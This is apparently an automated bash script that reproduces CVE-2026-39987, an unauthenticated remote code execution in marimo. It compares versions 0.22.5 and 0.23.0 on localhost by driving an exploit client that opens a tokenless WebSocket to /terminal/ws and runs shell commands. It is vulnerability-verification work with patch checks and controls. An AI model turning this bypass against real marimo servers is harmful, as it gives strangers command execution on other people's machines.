#!/bin/bash
# CVE-2026-39987: marimo pre-auth RCE via /terminal/ws WebSocket auth bypass
#
# Reproduction strategy (real product, real remote boundary):
#   1. Install vulnerable marimo 0.22.5 (< 0.23.0) and fixed marimo 0.23.0
#      into separate virtualenvs.
#   2. Start each server with token authentication ENABLED
#      (`marimo edit --headless --token-password ...`).
#   3. Prove auth enforcement is active: unauthenticated HTTP requests are
#      redirected to the login page (303).
#   4. As an unauthenticated attacker, open a raw WebSocket to /terminal/ws
#      (no token, no cookie, no Authorization header) and send a shell
#      command. On 0.22.5 the endpoint accepts the connection and spawns a
#      PTY shell -> arbitrary command execution as the marimo user.
#      On 0.23.0 the connection is rejected with HTTP 403.
#   5. Positive control on the fixed build: the same endpoint WITH a valid
#      token still works, proving the fix only blocks unauthenticated access.
#
# Exit 0 = vulnerability confirmed (vuln accepts unauth WS + RCE, fixed rejects)
# Exit 1 = not reproduced

set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

VULN_VERSION="0.22.5"
FIXED_VERSION="0.23.0"
FIX_COMMIT="c24d4806398f30be6b12acd6c60d1d7c68cfd12a"
TOKEN="topsecretpw"
VULN_PORT=2718
FIXED_PORT=2719

exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1
echo "[*] CVE-2026-39987 reproduction starting at $(date -u +%FT%TZ)"

# ---------------------------------------------------------------------------
# 0. Optional source checkout (for patch verification evidence)
# ---------------------------------------------------------------------------
REPO=""
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ] && [ "$(jq -r '.prepared' "$CTX")" = "true" ]; then
    CACHE_DIR="$(jq -r '.project_cache_dir' "$CTX")"
    if [ -d "$CACHE_DIR/repo/.git" ]; then
        REPO="$CACHE_DIR/repo"
    fi
fi
if [ -z "$REPO" ]; then
    if [ ! -d "$ARTIFACTS/marimo/.git" ]; then
        git clone --quiet https://github.com/marimo-team/marimo.git "$ARTIFACTS/marimo"
    fi
    REPO="$ARTIFACTS/marimo"
fi
echo "[*] Using marimo source checkout at $REPO"

# Verify the fix patch: vulnerable code lacks validate_auth in terminal.py,
# fixed commit adds it.
echo "[*] Patch verification (fixed commit $FIX_COMMIT):"
git -C "$REPO" show "$FIX_COMMIT" -- marimo/_server/api/endpoints/terminal.py \
    | grep -E '^\+.*validate_auth' | head -3 | tee "$LOGS/patch_hunk.txt"
if git -C "$REPO" show "$FIX_COMMIT^:marimo/_server/api/endpoints/terminal.py" | grep -q "validate_auth"; then
    echo "[-] UNEXPECTED: vulnerable parent already calls validate_auth"
else
    echo "[+] Vulnerable parent commit ($FIX_COMMIT^) has NO validate_auth call in terminal.py"
fi

# ---------------------------------------------------------------------------
# 1. Python environment setup
# ---------------------------------------------------------------------------
if ! python3 -m venv "$ARTIFACTS/.venv_probe" 2>/dev/null; then
    echo "[*] python3-venv missing, installing"
    sudo apt-get update -qq && sudo apt-get install -y -qq python3-venv python3-pip
fi
rm -rf "$ARTIFACTS/.venv_probe"

setup_venv() {
    local name="$1" version="$2"
    local venv="$ARTIFACTS/venvs/$name"
    if [ ! -x "$venv/bin/marimo" ]; then
        echo "[*] Creating venv $name with marimo==$version"
        python3 -m venv "$venv"
        "$venv/bin/pip" install -q --upgrade pip
        "$venv/bin/pip" install -q "marimo==$version" websockets
    fi
    "$venv/bin/python" -c "import marimo; print('[+] $name marimo', marimo.__version__)"
}

setup_venv vuln "$VULN_VERSION"
setup_venv fixed "$FIXED_VERSION"

# Confirm the installed packages match the expected patched/unpatched state.
VULN_TERM=$(echo "$ARTIFACTS"/venvs/vuln/lib/python3*/site-packages/marimo/_server/api/endpoints/terminal.py)
FIXED_TERM=$(echo "$ARTIFACTS"/venvs/fixed/lib/python3*/site-packages/marimo/_server/api/endpoints/terminal.py)
if grep -q "validate_auth" "$VULN_TERM"; then
    echo "[-] UNEXPECTED: installed vulnerable terminal.py references validate_auth"
else
    echo "[+] Installed marimo $VULN_VERSION terminal.py has no validate_auth call (vulnerable)"
fi
grep -n "validate_auth" "$FIXED_TERM" | head -3
echo "[+] Installed marimo $FIXED_VERSION terminal.py calls validate_auth (fixed)"

# ---------------------------------------------------------------------------
# 2. Server lifecycle helpers
# ---------------------------------------------------------------------------
SERVER_PGID=""

start_server() {
    local venv="$1" port="$2" log="$3"
    setsid "$ARTIFACTS/venvs/$venv/bin/marimo" edit --headless \
        --port "$port" --token-password "$TOKEN" > "$log" 2>&1 &
    SERVER_PGID=$!
    # Wait for the listener (bounded)
    for _ in $(seq 1 30); do
        if curl -s -o /dev/null "http://127.0.0.1:$port/"; then
            return 0
        fi
        sleep 1
    done
    echo "[-] Server on port $port failed to start"; return 1
}

stop_server() {
    if [ -n "$SERVER_PGID" ]; then
        kill -- -"$SERVER_PGID" 2>/dev/null || true
        sleep 1
        kill -9 -- -"$SERVER_PGID" 2>/dev/null || true
        SERVER_PGID=""
    fi
}
trap stop_server EXIT

check_http_auth_gate() {
    local port="$1" expect_desc
    local code
    code=$(curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:$port/")
    # 303 redirect to /login (or 401) proves auth enforcement is active.
    if [ "$code" = "303" ] || [ "$code" = "401" ] || [ "$code" = "403" ]; then
        echo "[+] HTTP auth gate active on port $port (unauthenticated / -> HTTP $code)"
        return 0
    fi
    echo "[-] HTTP auth gate NOT active on port $port (got HTTP $code)"
    return 1
}

run_client() { # venv port marker [token] log
    local venv="$1" port="$2" marker="$3" token="${4:-}" log="$5"
    local rc=0
    if [ -n "$token" ]; then
        timeout 40 "$ARTIFACTS/venvs/$venv/bin/python" \
            "$REPRO_DIR/ws_exploit_client.py" "$port" "$marker" "$token" \
            > "$log" 2>&1 || rc=$?
    else
        timeout 40 "$ARTIFACTS/venvs/$venv/bin/python" \
            "$REPRO_DIR/ws_exploit_client.py" "$port" "$marker" \
            > "$log" 2>&1 || rc=$?
    fi
    return "$rc"
}

VULN_RCE_OK=0
FIXED_REJECT_OK=0
FIXED_AUTH_OK=0

# ---------------------------------------------------------------------------
# 3. Vulnerable server: two clean unauthenticated attempts
# ---------------------------------------------------------------------------
WORKDIR="$(mktemp -d)"
cd "$WORKDIR"

echo "[*] Starting VULNERABLE marimo $VULN_VERSION on port $VULN_PORT (auth enabled)"
start_server vuln "$VULN_PORT" "$LOGS/server_vuln.log"
check_http_auth_gate "$VULN_PORT"

for attempt in 1 2; do
    marker="PRUVA_VULN_A${attempt}"
    log="$LOGS/vuln_unauth_attempt${attempt}.log"
    echo "[*] Vulnerable unauthenticated /terminal/ws attempt $attempt (marker $marker)"
    if run_client vuln "$VULN_PORT" "$marker" "" "$log" \
        && grep -q "RCE_CONFIRMED" "$log"; then
        echo "[+] attempt $attempt: unauthenticated WebSocket accepted, PTY shell obtained, command executed"
        grep -E "RCE_CONFIRMED|${marker}_" "$log" | head -2
        VULN_RCE_OK=$((VULN_RCE_OK + 1))
    else
        echo "[-] attempt $attempt: RCE not observed (see $log)"
        cat "$log"
    fi
done
stop_server

# ---------------------------------------------------------------------------
# 4. Fixed server: two unauthenticated attempts (must be rejected)
#    + one authenticated positive control (must work)
# ---------------------------------------------------------------------------
echo "[*] Starting FIXED marimo $FIXED_VERSION on port $FIXED_PORT (auth enabled)"
start_server fixed "$FIXED_PORT" "$LOGS/server_fixed.log"
check_http_auth_gate "$FIXED_PORT"

for attempt in 1 2; do
    marker="PRUVA_FIXED_A${attempt}"
    log="$LOGS/fixed_unauth_attempt${attempt}.log"
    echo "[*] Fixed unauthenticated /terminal/ws attempt $attempt"
    if run_client fixed "$FIXED_PORT" "$marker" "" "$log"; then
        echo "[-] attempt $attempt: UNEXPECTED - unauthenticated WebSocket accepted on fixed build"
        cat "$log"
    elif grep -qE "rejected WebSocket connection: HTTP 403|CONNECT_FAILED" "$log"; then
        echo "[+] attempt $attempt: unauthenticated WebSocket rejected (fixed behavior)"
        grep -E "CONNECT_FAILED" "$log" | head -1
        FIXED_REJECT_OK=$((FIXED_REJECT_OK + 1))
    else
        echo "[-] attempt $attempt: unexpected client outcome"
        cat "$log"
    fi
done

log="$LOGS/fixed_auth_control.log"
echo "[*] Fixed authenticated control (valid access_token must still work)"
if run_client fixed "$FIXED_PORT" "PRUVA_FIXED_AUTH" "$TOKEN" "$log" \
    && grep -q "RCE_CONFIRMED" "$log"; then
    echo "[+] Authenticated terminal WebSocket still works on fixed build"
    FIXED_AUTH_OK=1
else
    echo "[-] Authenticated control failed on fixed build"
    cat "$log"
fi
stop_server

# ---------------------------------------------------------------------------
# 5. Verdict + runtime manifest
# ---------------------------------------------------------------------------
if [ "$VULN_RCE_OK" -ge 2 ] && [ "$FIXED_REJECT_OK" -ge 2 ]; then
    VERDICT="confirmed"
    TARGET_REACHED=true
    RC=0
else
    VERDICT="not_confirmed"
    TARGET_REACHED=false
    RC=1
fi

jq -n \
    --argjson reached "$TARGET_REACHED" \
    --argjson authok "$([ "$FIXED_AUTH_OK" = 1 ] && echo true || echo false)" \
    --arg verdict "$VERDICT" \
    '{
      entrypoint_kind: "endpoint",
      entrypoint_detail: "/terminal/ws WebSocket endpoint (unauthenticated)",
      service_started: true,
      healthcheck_passed: true,
      target_path_reached: $reached,
      runtime_stack: ["marimo edit (starlette/uvicorn)", "python3 venv"],
      proof_artifacts: [
        "logs/server_vuln.log",
        "logs/server_fixed.log",
        "logs/vuln_unauth_attempt1.log",
        "logs/vuln_unauth_attempt2.log",
        "logs/fixed_unauth_attempt1.log",
        "logs/fixed_unauth_attempt2.log",
        "logs/fixed_auth_control.log",
        "logs/patch_hunk.txt",
        "logs/reproduction_steps.log"
      ],
      notes: ("verdict=" + $verdict + "; fixed_authenticated_control=" + ($authok|tostring))
    }' > "$REPRO_DIR/runtime_manifest.json"

echo "[*] Verdict: $VERDICT (vuln RCE attempts OK=$VULN_RCE_OK/2, fixed rejects OK=$FIXED_REJECT_OK/2, fixed auth control=$FIXED_AUTH_OK)"
exit "$RC"